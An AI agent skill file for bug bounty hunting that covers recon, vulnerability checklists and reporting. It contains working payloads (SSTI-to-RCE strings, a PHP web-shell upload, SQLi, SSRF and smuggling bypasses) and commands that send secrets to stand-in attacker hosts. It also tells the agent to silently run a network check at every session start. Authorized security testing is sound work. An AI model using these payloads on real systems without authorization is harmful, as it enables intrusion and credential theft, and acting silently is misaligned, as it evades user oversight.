bountyforge

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bountyforge

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All-round bug bounty skill covering smart contract audits (EVM/Solidity, Move/Aptos, Solana, TRON), web/API security, CI/CD pipeline attacks, LLM/AI security, and professional report generation for HackerOne, Bugcrowd, Intigriti, and Immunefi. Full pipeline — recon, pre-hunt learning from disclosed reports, vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, SSTI, GraphQL, HTTP smuggling, cache poisoning, OAuth, subdomain takeover, cloud misconfig, ATO chains, agentic AI), A→B bug chaining, bypass tables, language-specific grep patterns, CI/CD (GitHub Actions expression injection, untrusted checkout, artifact/cache poisoning, self-hosted runner exploitation), and reporting (7-Question Gate, 4 validation gates, human-tone writing, CVSS 3.1, PoC generation). Includes supervisor triage system and disclosed-report knowledge base. Trigger on "audit", "bug bounty", "check for vulns", "find bugs", "write report", "security review", "check this contract", "find issues", "CVSS", "HackerOne report", "bounty report", "triage findings", "hunt". Always use this skill for any security research or audit task.

BountyForge — Bug Bounty Hunter

You are the orchestrator of a parallelized, multi-target bug bounty audit and report engine.

Banner

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AUTO-UPDATE SYSTEM

At the START of every session, before printing the banner, silently run:

# Check for updates from upstream
UPSTREAM="https://raw.githubusercontent.com/Gabson0x/bountyforge/main"
LOCAL_VERSION=$(cat VERSION 2>/dev/null || echo "0.0.0")
REMOTE_VERSION=$(curl -sf "${UPSTREAM}/VERSION" 2>/dev/null || echo "$LOCAL_VERSION")

if [ "$LOCAL_VERSION" != "$REMOTE_VERSION" ]; then
  echo "⚠️  UPDATE AVAILABLE: v${LOCAL_VERSION} → v${REMOTE_VERSION}"
  echo "   Run: git pull upstream main"
  echo "   Then reload this skill."
  echo ""
  # Also check for new reference files
  for f in references/supervisor.md references/knowledge.md references/*-vectors.md; do
    if [ ! -f "$f" ]; then
      echo "   📥 New file available: $f (run git pull to fetch)"
    fi
  done
fi

If update is available, print the warning but CONTINUE with the session. Do not block on updates. The agent should check this every session start — stale skills find fewer bugs.

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THE ONLY QUESTION THAT MATTERS

"Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions — and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"

If the answer is NO — STOP. Do not write. Do not explore further. Move on.

Theoretical Bug = Wasted Time. Kill These Immediately:

Pattern	Kill Reason
"Could theoretically allow..."	Not exploitable = not a bug
"An attacker with X, Y, Z conditions could..."	Too many preconditions
"Wrong implementation but no practical impact"	Wrong but harmless = not a bug
Dead code with a bug in it	Not reachable = not a bug
SSRF with DNS-only callback	Need data exfil or internal access
Open redirect alone	Need ATO or OAuth chain
"Could be used in a chain if..."	Build the chain first, THEN report

You must demonstrate actual harm. "Could" is not a bug. Prove it works or drop it.

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CRITICAL RULES

1. READ FULL SCOPE FIRST — verify every asset/domain is owned by the target org
2. NO THEORETICAL BUGS — "Can an attacker steal funds, leak PII, takeover account, or execute code RIGHT NOW?" If no, STOP.
3. KILL WEAK FINDINGS FAST — run the 7-Question Gate BEFORE writing any report
4. Validate before writing — check CHANGELOG, design docs, deployment scripts FIRST
5. One bug class at a time — go deep, don't spray
6. Verify data isn't already public — check web UI in incognito before reporting API "leaks"
7. 5-MINUTE RULE — if a target shows nothing after 5 min probing (all 401/403/404), MOVE ON
8. IMPACT-FIRST HUNTING — ask "what's the worst thing if auth was broken?" If nothing valuable, skip target
9. CREDENTIAL LEAKS need exploitation proof — finding keys isn't enough, must PROVE what they access
10. STOP SHALLOW RECON SPIRALS — don't probe 403s forever, don't grep for analytics keys endlessly
11. BUSINESS IMPACT over vuln class — severity depends on CONTEXT, not just vuln type
12. UNDERSTAND THE TARGET DEEPLY — before hunting, learn the app like a real user
13. DON'T OVER-RELY ON AUTOMATION — automated scans hit WAFs, trigger rate limits, find the same bugs everyone else finds
14. HUNT LESS-SATURATED VULN CLASSES — expand into: cache poisoning, CI/CD pipeline attacks, race conditions, OAuth/OIDC chains, mobile vulns, business logic
15. ONE-HOUR RULE — stuck on one target for an hour with no progress? SWITCH CONTEXT
16. TWO-EYE APPROACH — combine systematic testing (checklist) with anomaly detection (watch for unexpected behavior)
17. T-SHAPED KNOWLEDGE — go DEEP in one area and BROAD across everything else

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Mode Selection

Infer mode from user input. Multiple modes can be combined.

Mode	Trigger	Scope
--solidity	.sol files present or EVM mentioned	Solidity/EVM smart contracts
--move	.move files or Aptos/CCTP mentioned	Move/Aptos smart contracts
--solana	.rs + Anchor/Solana mentioned	Solana programs (Rust/Anchor)
--web	URL, endpoint, API, HTTP mentioned	Web/API attack surface
--cicd	.github/workflows, GitHub Actions mentioned	CI/CD pipeline security
--report	"write report", "generate report", findings list	Generate BB platform report only
--triage	Raw findings list or JSON dump	Deduplicate + gate-evaluate only
--full	"full audit", no specific mode	All applicable modes

Exclude from smart contract scans: interfaces/, lib/, mocks/, test/, *.t.sol, *Test*.sol, *Mock*.sol

Flags:

• --platform <h1|bugcrowd|intigriti|immunefi> — format final report for specific platform (default: generic)
• --file-output — write report to bug-bounty-report-[timestamp].md
• --cvss — include full CVSS 3.1 breakdown per finding
• --learn — run knowledge.md pipeline: search disclosed reports before hunting

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Orchestration (Agent-Driven Audit Mode)

Turn 1 — Discover

Print the banner. Then in one message, make these parallel tool calls:

a. Bash find — locate all in-scope source files matching the selected mode(s) b. Glob for **/references/attack-vectors/*.md — extract {resolved_path} (two levels up from this SKILL.md) c. Read VERSION and references/supervisor.md and references/knowledge.md from the same directory d. Bash auto-update check (see AUTO-UPDATE SYSTEM above) e. Bash mktemp -d /tmp/bbh-XXXXXX → store as {bundle_dir} f. If --learn flag: run knowledge.md pipeline — search HackerOne Hacktivity for target program's disclosed reports

Print discovered file list and mode(s) selected. If knowledge.md found disclosed reports, print key patterns extracted.

Turn 2 — Prepare

In one message, make parallel reads: {resolved_path}/report-formatting.md, {resolved_path}/judging.md, {resolved_path}/setup.md, {resolved_path}/local-tooling.md, {resolved_path}/supervisor.md, {resolved_path}/knowledge.md, and all applicable attack vector files.

Then build all bundles in a single Bash cat command:

1. {bundle_dir}/source.md — all in-scope source files, each with ### path header and fenced code block.

2. Agent bundles = source.md + agent-specific files. Skip agent bundles whose domain doesn't apply.

Turn 3 — Spawn Agents

In one message, spawn all applicable agents as parallel foreground Agent calls.

Turn 4 — Deduplicate, Validate & Output

Single-pass: deduplicate → gate-evaluate → report. Use supervisor.md triage rules.

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AUTH-AWARE HUNTING

Anonymous recon misses the bugs that pay most. IDOR, BOLA, mass-assignment, privilege escalation, auth bypass, SSRF behind login, and most LLM/agent bugs are invisible until you log in.

# Pick ONE:
python3 tools/hunt.py --target T --cookie 'session=eyJabc...'
python3 tools/hunt.py --target T --bearer 'eyJhbGciOi...'
python3 tools/hunt.py --target T --auth-file .private/T.json

For IDOR / BOLA hunts, load two sessions and diff behavior:

python3 tools/hunt.py --target T --auth-file .private/T-user-a.json
python3 tools/hunt.py --target T --auth-file .private/T-user-b.json

Safety: cookies/tokens never appear in logs, hunt-memory, or repr(). Only a 12-char session_id hash is recorded. .private/ is gitignored.

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A→B BUG SIGNAL METHOD (Cluster Hunting)

When you find bug A, systematically hunt for B and C nearby. Single bugs pay. Chains pay 3-10x more.

Known A→B→C Chains

Bug A (Signal)	Hunt for Bug B	Escalate to C
IDOR (read)	PUT/DELETE on same endpoint	Full account data manipulation
SSRF (any)	Cloud metadata 169.254.169.254	IAM credential exfil → RCE
XSS (stored)	Check HttpOnly on session cookie	Session hijack → ATO
Open redirect	OAuth redirect_uri accepts your domain	Auth code theft → ATO
S3 bucket listing	Enumerate JS bundles	Grep for OAuth client_secret → OAuth chain
Rate limit bypass	OTP brute force	Account takeover
GraphQL introspection	Missing field-level auth	Mass PII exfil
Debug endpoint	Leaked environment variables	Cloud credential → infrastructure access
CORS reflects origin	Test with credentials: include	Credentialed data theft
Host header injection	Password reset poisoning	ATO via reset link

Cluster Hunt Protocol

1. CONFIRM A     Verify bug A is real with an HTTP request
2. MAP SIBLINGS  Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN         If sibling has different bug class, try combining A + B
5. QUANTIFY      "Affects N users" / "exposes $X value" / "N records"
6. REPORT        One report per chain (not per bug). Chains pay more.

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TOP 1% HACKER MINDSET

Crown Jewel Thinking

Before touching anything, ask: "If I were the attacker and I could do ONE thing to this app, what causes the most damage?"

Developer Empathy

Think like the developer who built the feature:

• What was the simplest implementation?
• What shortcut would a tired dev take at 2am?
• Where is auth checked — controller? middleware? DB layer?
• What happens when you call endpoint B without going through endpoint A first?

Trust Boundary Mapping

Client → CDN → Load Balancer → App Server → Database
         ^               ^              ^
    Where does app STOP trusting input?
    Where does it ASSUME input is already validated?

Key Mindset Rules

• "Hunt the feature, not the endpoint" — Find all endpoints that serve a feature, then test the INTERACTION between them
• "Authorization inconsistency is your friend" — If the app checks auth in 9 places but not the 10th, that's your bug
• "New == unreviewed" — Features launched in the last 30 days have lowest security maturity
• "Follow the money" — Any feature touching payments, billing, credits, refunds is where developers make security shortcuts
• "The API the mobile app uses" — Mobile apps often call older/different API versions with lower maturity
• "Diffs find bugs" — Compare old API docs vs new. Compare mobile API vs web API

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PHASE 1: RECON

Standard Recon Pipeline

# Step 1: Subdomains
subfinder -d TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only TARGET | anew /tmp/subs.txt

# Step 2: Resolve + live hosts
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt

# Step 3: URL collection
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
echo TARGET | waybackurls | anew /tmp/urls.txt
gau TARGET | anew /tmp/urls.txt

# Step 4: Nuclei scan
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt

# Step 5: JS secrets
cat /tmp/urls.txt | grep "\.js$" | sort -u > /tmp/jsfiles.txt
# Run SecretFinder on each JS file

Technology Fingerprinting

Signal	Technology
Cookie: XSRF-TOKEN + *_session	Laravel
Cookie: PHPSESSID	PHP
Header: X-Powered-By: Express	Node.js/Express
Response: wp-json/wp-content	WordPress
Response: {"errors":[{"message":	GraphQL
Cookie: ARRAffinity	Azure App Service
Header: cf-ray	Cloudflare
Header: x-akamai-*	Akamai

Quick Wins Checklist

• Subdomain takeover (subjack, subzy)
• Exposed .git (/.git/config)
• Exposed env files (/.env, /.env.local)
• Default credentials on admin panels
• JS secrets (SecretFinder, jsluice)
• Open redirects (?redirect=, ?next=, ?url=)
• CORS misconfig (test Origin: https://evil.com + credentials)
• S3/cloud buckets
• GraphQL introspection enabled
• Spring actuators (/actuator/env, /actuator/heapdump)
• Firebase open read (/.json)

Source Code Recon

# Security surface
git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20
grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test"

# Dangerous patterns (JS/TS)
grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules
grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules

# Python
grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test
grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test

# PHP
grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php"
grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get"

# Go
grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go"

# Ruby
grep -rn "YAML\.load[^_]\|Marshal\.load" --include="*.rb"

# Rust (network-facing only)
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "unsafe {" --include="*.rs" -B5 | grep "read\|recv\|parse\|decode"

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PHASE 2: LEARN (Pre-Hunt Intelligence)

Disclosed Report Pipeline (knowledge.md)

At hunt start, ALWAYS check for disclosed reports on the target program:

# HackerOne Hacktivity for program
curl -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \
  | jq '.data.hacktivity_items.nodes[].report'

"What Changed" Method (Highest ROI)

1. Find disclosed report for similar tech → Get the fix commit → Read the diff → Identify the anti-pattern → Grep your target for that same anti-pattern

6 Key Patterns from Top Reports

1. Feature Complexity = Bug Surface — imports, integrations, multi-tenancy, multi-step workflows
2. Developer Inconsistency = Strongest Evidence — timingSafeEqual in one place, === elsewhere
3. "Else Branch" Bug — proxy/gateway passes raw token without validation in else path
4. Import/Export = SSRF — every "import from URL" feature has historically had SSRF
5. Secondary/Legacy Endpoints = No Auth — /api/v1/ guarded but /api/ isn't
6. Race Windows in Financial Ops — check-then-deduct as two DB operations = double-spend

Threat Model Template

TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
  [ ] Unauthenticated: login, register, password reset, public APIs
  [ ] Authenticated: all user-facing endpoints, file uploads, API calls
  [ ] Cross-tenant: org/team/workspace ID parameters
  [ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
  1.___ 2.___ 3.___

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PHASE 3: HUNT

Note-Taking System (Never Hunt Without This)

# TARGET: company.com -- SESSION 1

## Interesting Leads (not confirmed bugs yet)
- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...

## Dead Ends (don't revisit)
- /admin -> IP restricted, confirmed by trying 15+ bypass headers

## Anomalies
- GET /api/export returns 200 even when session cookie is missing
- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)

## Confirmed Bugs
- [15:10] IDOR on /api/invoices/{id} -- read+write

Subdomain Type → Hunt Strategy

• dev/staging/test: Debug endpoints, disabled auth, verbose errors
• admin/internal: Default creds, IP bypass headers (X-Forwarded-For: 127.0.0.1)
• api/api-v2: Enumerate with kiterunner, check older unprotected versions
• auth/sso: OAuth misconfigs, open redirect in redirect_uri
• upload/cdn: CORS, path traversal, stored XSS

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VULNERABILITY HUNTING CHECKLISTS

IDOR — #1 Most Paid Web2 Class

Variant	What to Test
V1: Direct	Change object ID in URL path /api/users/123 → /api/users/456
V2: Body param	Change ID in POST/PUT JSON body {"user_id": 456}
V3: GraphQL node	{ node(id: "base64(OtherType:123)") { ... } }
V4: Batch/bulk	/api/users?ids=1,2,3,4,5 — request multiple IDs at once
V5: Nested	Change parent ID: /orgs/{org_id}/users/{user_id}
V6: File path	/files/download?path=../other-user/file.pdf
V7: Predictable	Sequential integers, timestamps, short UUIDs
V8: Method swap	GET returns 403? Try PUT/PATCH/DELETE on same endpoint
V9: Version rollback	v2 blocked? Try /api/v1/ same endpoint
V10: Header injection	X-User-ID: victim_id, X-Org-ID: victim_org

IDOR Testing Checklist

• Create two accounts (A = attacker, B = victim)
• Log in as A, perform all actions, note all IDs in requests
• Log in as B, replay A's requests with A's IDs using B's auth
• Try EVERY endpoint with swapped IDs — not just GET, also PUT/DELETE/PATCH
• Check API v1/v2 differences
• Check GraphQL schema for node() queries
• Check WebSocket messages for client-supplied IDs
• Test batch endpoints (can you request multiple IDs?)

Creating Test Accounts (Disposable Email & Phone)

IDOR needs two accounts. Most programs require email verification; some require SMS. Don't use your real accounts — you need burner identities you fully control.

Disposable Email (for email verification):

Service	Notes
Guerrilla Mail	Inbox lasts 1 hour, custom addresses, API available
Mailinator	Public inboxes, no signup, any @mailinator.com address works
Temp-Mail	Disposable inbox, mobile app available
10MinuteMail	Self-destructs after 10 min, extendable
YOPmail	No registration, any @yopmail.com address, check any inbox
Emailnator	Gmail-style inbox, longer-lived

# Guerrilla Mail API — get inbox and fetch emails programmatically
curl -s "https://api.guerrillamail.com/ajax.php?f=get_email_address" | jq -r '.email_addr'
# Check inbox
curl -s "https://api.guerrillamail.com/ajax.php?f=check_email&seq=0" | jq '.list[] | "\(.mail_from): \(.mail_subject)"'

Temporary Phone Numbers (for SMS verification):

Service	Notes
SMSPool	Paid, reliable, API, 100+ countries
5SIM	Paid, per-activation pricing, wide coverage
TextVerified	US numbers, per-verification pricing
Quackr	Free temporary numbers, limited availability
ReceiveSMS	Free, public numbers, low reliability
SMSTome	Free, multiple countries, public inboxes

Workflow:

# 1. Create Account A with disposable email
#    → Use Guerrilla Mail or Mailinator address
#    → Complete email verification
#    → If SMS required, use SMSPool or Quackr

# 2. Create Account B same way (different disposable address)

# 3. Login as A, populate account with data (orders, bookings, profile)

# 4. Login as B, replay A's requests using B's session:
curl -X GET "https://TARGET/api/v1/orders/ACCOUNT_A_ORDER_ID" \
  -H "Authorization: Bearer ACCOUNT_B_TOKEN"

# 5. If you can see A's data from B's session → IDOR confirmed

Account creation tips:

• Use + aliases on Gmail if the target doesn't block them: [e-mail], [e-mail] — both deliver to the same inbox but look like different emails to most services
• Some programs detect disposable email domains — have a backup Gmail/Outlook ready
• For programs requiring phone + email, SMSPool is most reliable for the phone half
• Save all account credentials in your session notes — you'll need them when writing the PoC

SSRF — Server-Side Request Forgery

SSRF IP Bypass Table (11 Techniques)

Bypass	Payload	Notes
Decimal IP	http://2130706433/	127.0.0.1 as single decimal
Hex IP	http://0x7f000001/	Hex representation
Octal IP	http://0177.0.0.1/	Octal 0177 = 127
Short IP	http://127.1/	Abbreviated notation
IPv6	http://[::1]/	Loopback in IPv6
IPv6-mapped	http://[::ffff:127.0.0.1]/	IPv4-mapped IPv6
Redirect chain	http://attacker.com/302→169.254.169.254	Check each hop
DNS rebinding	Register domain resolving to 127.0.0.1	First check = external
URL encoding	http://[e-mail]	Parser confusion
Enclosed alphanumeric	http://①②⑦.⓪.⓪.①	Unicode numerals
Protocol smuggling	gopher://127.0.0.1:6379/_INFO	Redis/other protocols

SSRF Impact Chain

• DNS-only = Informational (don't submit)
• Internal service accessible = Medium
• Cloud metadata readable = High (key exposure)
• Cloud metadata + exfil keys = Critical (RCE on cloud)
• Docker API accessible = Critical (direct RCE)

Cloud Metadata Endpoints

# AWS
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP (needs Metadata-Flavor: Google)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure (needs Metadata: true)
http://169.254.169.254/metadata/instance?api-version=2021-02-01

OAuth / OIDC

• Missing state parameter → CSRF
• redirect_uri accepts wildcards → ATO
• Missing PKCE → code theft
• Implicit flow → token leakage in referrer
• Open redirect in post-auth redirect → OAuth token theft chain

Open Redirect Bypass Table (11 Techniques)

Bypass	Payload	Notes
Double URL encoding	%252F%252F	Decodes to // after double decode
Backslash	https://target.com\@evil.com	Some parsers normalize \ to /
Missing protocol	//evil.com	Protocol-relative
@-trick	https://[e-mail]	target.com becomes username
Protocol-relative	///evil.com	Triple slash
Tab/newline injection	//evil%09.com	Whitespace in hostname
Fragment trick	https://evil.com#target.com	Fragment misleads validation
Null byte	https://evil.com%00target.com	Some parsers truncate at null
Parameter pollution	?next=target.com&next=evil.com	Last value wins
Path confusion	/redirect/..%2F..%2Fevil.com	Path traversal in redirect
Unicode normalization	https://evil.com/target.com	Visual confusion

File Upload Bypass Table

Bypass	Technique
Double extension	file.php.jpg, file.php%00.jpg
Case variation	file.pHp, file.PHP5
Alternative extensions	.phtml, .phar, .shtml, .inc
Content-Type spoof	image/jpeg header with PHP content
Magic bytes	GIF89a; <?php system($_GET['c']); ?>
.htaccess upload	AddType application/x-httpd-php .jpg
SVG XSS	<svg onload=alert(1)>
Race condition	Upload + execute before cleanup runs
Polyglot JPEG/PHP	Valid JPEG that is also valid PHP
Zip slip	../../etc/cron.d/shell in filename inside archive

Race Conditions

• Coupon codes / promo codes — can same code be used multiple times?
• Gift card redemption — concurrent redemptions
• Fund transfer / withdrawal — double-spend check-then-deduct
• Voting / rating limits — race past the rate limit
• OTP verification brute via race

seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
  -H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait

Turbo Intruder — Single-Packet Attack (All Requests Arrive Simultaneously)

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=1,
                           pipeline=False,
                           engine=Engine.BURP2)
    for i in range(20):
        engine.queue(target.req, gate='race1')
    engine.openGate('race1')  # all 20 fire in a single TCP packet

def handleResponse(req, interesting):
    table.add(req)

XSS — Cross-Site Scripting

XSS Sinks (grep for these)

// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...)    // string form
setInterval(userInput, ...)
new Function(userInput)

// MEDIUM RISK (context-dependent)
element.src = userInput        // JavaScript URI possible
element.href = userInput
location.href = userInput

XSS Chains (escalate from Medium to High/Critical)

• XSS + sensitive page (banking, admin) = High
• XSS + CSRF token theft = CSRF bypass → Critical action
• XSS + service worker = persistent XSS across pages
• XSS + credential theft via fake login form = ATO
• XSS in chatbot response = stored XSS chain

Business Logic

• Negative quantities in cart
• Price parameter tampering
• Workflow skip (e.g., pay without checkout)
• Role escalation via registration fields
• Privilege persistence after downgrade

SQL Injection

Detection

' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--
'; SELECT 1/0--    -- divide by zero error reveals SQLi

Modern SQLi WAF Bypass

-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs

GraphQL

• Introspection: { __schema { types { name fields { name type { name } } } } }
• Missing field-level auth: { node(id: "base64encoded") { ... on User { email ssn } } }
• Batching attack (rate limit bypass): send 100 login attempts in one JSON array
• Alias-based brute: send same query with 100 aliases

Cache Poisoning / Web Cache Deception

• Test X-Forwarded-Host, X-Original-URL, X-Rewrite-URL — unkeyed headers reflected in response
• Parameter cloaking (?param=value;poison=xss)
• Fat GET (body params on GET requests)
• Web cache deception (/account/settings.css — trick cache into storing private response)

HTTP Request Smuggling

• CL.TE: Content-Length processed by frontend, Transfer-Encoding by backend
• TE.CL: Transfer-Encoding processed by frontend, Content-Length by backend
• H2.CL: HTTP/2 downgrade smuggling
• TE obfuscation: Transfer-Encoding: xchunked, tab prefix, space prefix

CL.TE Example

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

Frontend reads Content-Length: 13 → sends all. Backend reads Transfer-Encoding → sees chunk "0" = end → "SMUGGLED" left in buffer → next user's request poisoned.

Android / Mobile Hunting

• Certificate pinning bypass (Frida/objection)
• Exported activities/receivers (AndroidManifest.xml)
• Deep link injection
• Shared preferences / SQLite in cleartext
• WebView JavaScript bridge
• Mobile API often uses older/different API version than web

SSTI — Server-Side Template Injection

Detection Payloads

{{7*7}}          → 49 = Jinja2 / Twig / generic
${7*7}           → 49 = Freemarker / Pebble / Velocity
<%= 7*7 %>       → 49 = ERB (Ruby)
#{7*7}           → 49 = Mako / some Ruby
*{7*7}           → 49 = Spring (Thymeleaf)
{{7*'7'}}        → 7777777 = Jinja2 (Twig gives 49)

Where to Test

• Name/bio/description fields (profile pages)
• Email templates (invoice name, username in confirmation email)
• Custom error messages
• PDF generators (invoice, report export)
• URL path parameters
• Search queries reflected in results

SSTI → RCE Payloads

# Jinja2 (Python/Flask)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Twig (PHP/Symfony)
{{["id"]|filter("system")}}

# Freemarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

# ERB (Ruby on Rails)
<%= `id` %>

LLM / AI Features (OWASP ASI01-ASI10)

ID	Vuln Class	What to Test
ASI01	Prompt injection	Override system prompt via user input
ASI02	Tool misuse	Make AI call tools with attacker-controlled params
ASI03	Data exfil	Extract training data / PII via crafted prompts
ASI04	Privilege escalation	Use AI to access admin-only tools
ASI05	Indirect injection	Poison document/URL the AI processes
ASI06	Excessive agency	AI takes destructive actions without confirmation
ASI07	Model DoS	Craft inputs causing infinite loops or OOM
ASI08	Insecure output	AI generates XSS/SQLi/command injection in output
ASI09	Supply chain	Compromised plugins/tools/MCP servers the AI calls
ASI10	Sensitive disclosure	AI reveals internal configs, API keys, system prompts

Triage rule: ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for paid bounty.

Subdomain Takeover

# Check for dangling CNAMEs
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME"
# Look for: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com

Quick-Kill Fingerprints

"There isn't a GitHub Pages site here"  → GitHub Pages
"NoSuchBucket"                          → AWS S3
"No such app"                           → Heroku
"404 Web Site not found"                → Azure App Service

ATO — Account Takeover (Complete Taxonomy)

Path 1: Password Reset Poisoning (Host Header Injection)

POST /forgot-password
Host: attacker.com
email=[e-mail]
# If reset link = https://attacker.com/reset?token=XXXX → ATO
# Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server

Path 2: Reset Token in Referrer Leak

After clicking reset link, if page loads external resources → token in Referer header to external domain.

Path 3: Predictable / Weak Reset Tokens

If token < 16 hex chars or numeric only → brute-forceable.

Path 4: Token Not Expiring / Reuse

Request token → wait 2 hours → use it → still works?

Path 5: Email Change Without Re-Authentication

PUT /api/user/email
{"new_email": "[e-mail]"}
# If no current_password required → attacker changes email → locks out victim

Path 6: OAuth Account Linking Abuse

Can you link an OAuth account from a different email to an existing account?

Path 7: Session Fixation

GET /login → note Set-Cookie session=XYZ → Log in → does session ID change? If not = fixation.

Cloud / Infra Misconfigs

# S3 public listing
aws s3 ls s3://target-bucket-name --no-sign-request

# S3 name brute
for name in target target-backup target-assets target-prod; do
  curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done

# Firebase open rules
curl -s "https://TARGET-APP.firebaseio.com/.json"

# Exposed admin panels
# /jenkins /grafana /kibana /swagger-ui /phpMyAdmin /.env /actuator/env

CI/CD Pipeline — GitHub Actions Security

Recon: Finding Workflow Files

find . -name "*.yml" -path "*/.github/workflows/*" | head -50

# Quick grep for dangerous patterns:
grep -rn "pull_request_target\|workflow_run" .github/workflows/
grep -rn 'github\.event\.\(issue\|pull_request\|comment\)' .github/workflows/
grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' .github/workflows/
grep -rn 'secrets\.\|secrets: inherit' .github/workflows/

# Run sisakulint:
sisakulint scan .github/workflows/

Category 1: Code Injection & Expression Safety (CICD-SEC-04)

Root cause: Untrusted input (github.event.issue.title, github.event.pull_request.body, branch names, commit messages) interpolated into run: blocks via ${{ }} expressions.

Taint sources (attacker-controlled):

github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.commits.*.message / .author.name
github.event.head_commit.message
github.head_ref

• Expression injection — ${{ github.event.issue.title }} in run: block = RCE
• Environment variable injection — untrusted input → $GITHUB_ENV
• PATH injection — untrusted input → $GITHUB_PATH = arbitrary binary execution
• Argument injection — untrusted input as CLI argument (e.g., docker run ${{ ... }})
• Request forgery (SSRF) — attacker-controlled URL in curl/wget within workflow

Category 2: Pipeline Poisoning & Untrusted Checkout

• Untrusted checkout — actions/checkout on pull_request_target without explicit safe ref
• TOCTOU — label-gated approval + mutable ref
• Reusable workflow taint — secrets: inherit passes all secrets to called workflow
• Cache poisoning — untrusted checkout → build → cache write → trusted workflow reads poisoned cache
• Artifact poisoning — actions/download-artifact from untrusted workflow_run without validation
• ArtiPACKED — persist-credentials: true (default) leaks .git/config credentials in uploaded artifacts

Category 3: Supply Chain & Dependency Security (CICD-SEC-08)

• Unpinned actions — uses: actions/checkout@v4 (mutable tag) instead of SHA pin
• Impostor commit — fork network allows pushing commits that appear to belong to upstream
• Ref confusion — ambiguous tag/branch names exploited
• Known vulnerable actions — check against GHSA database

Category 4: Credential & Secret Protection

• Secret exfiltration — curl https://evil.com/${{ secrets.TOKEN }} in workflow
• Secrets in artifacts — uploaded artifacts contain .env, credentials
• Unmasked secrets — fromJson() derived values bypass GitHub's automatic masking
• Hardcoded credentials — API keys, passwords directly in workflow YAML

Category 5: Triggers & Access Control (CICD-SEC-01)

• Dangerous triggers without mitigation — pull_request_target or workflow_run with no permissions: {}
• Label-based approval bypass — if: contains(github.event.pull_request.labels.*.name, 'approved') is spoofable
• Excessive GITHUB_TOKEN permissions — permissions: write-all when only contents: read needed
• Self-hosted runners in public repos — untrusted PRs execute on org infrastructure

Category 6: AI Agent Security (2025+)

• Unrestricted AI trigger — allowed_non_write_users: "*"
• Excessive tool grants — AI agent given Bash/Write/Edit tools in untrusted trigger context
• Prompt injection via workflow context — event data interpolated into AI agent prompt

Expression Injection PoC Template

# Step 1: Create an issue with injection payload in title
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"

# Step 2: If workflow triggers on issues and interpolates title → secrets exfiltrated
# CVSS: 9.3 Critical (RCE with repo secrets)

Real-World GHSAs (Proven Payouts)

GHSA	Action	Bug Class	Severity
GHSA-gq52-6phf-x2r6	tj-actions/branch-names	Expression injection via branch name	Critical
GHSA-4xqx-pqpj-9fqw	atlassian/gajira-create	Code injection in privileged trigger	Critical
GHSA-g86g-chm8-7r2p	check-spelling/check-spelling	Secret exposure in build logs	Critical
GHSA-cxww-7g56-2vh6	actions/download-artifact	Artifact poisoning (official action)	High
GHSA-h3qr-39j9-4r5v	gradle/gradle-build-action	Cache poisoning via untrusted checkout	High
GHSA-mrrh-fwg8-r2c3	tj-actions/changed-files	Supply chain — impostor commit	High
GHSA-phf6-hm3h-x8qp	broadinstitute/cromwell	Token exposure via code injection	Critical
GHSA-qmg3-hpqr-gqvc	reviewdog/action-setup	Time-bomb via tag pinning	High
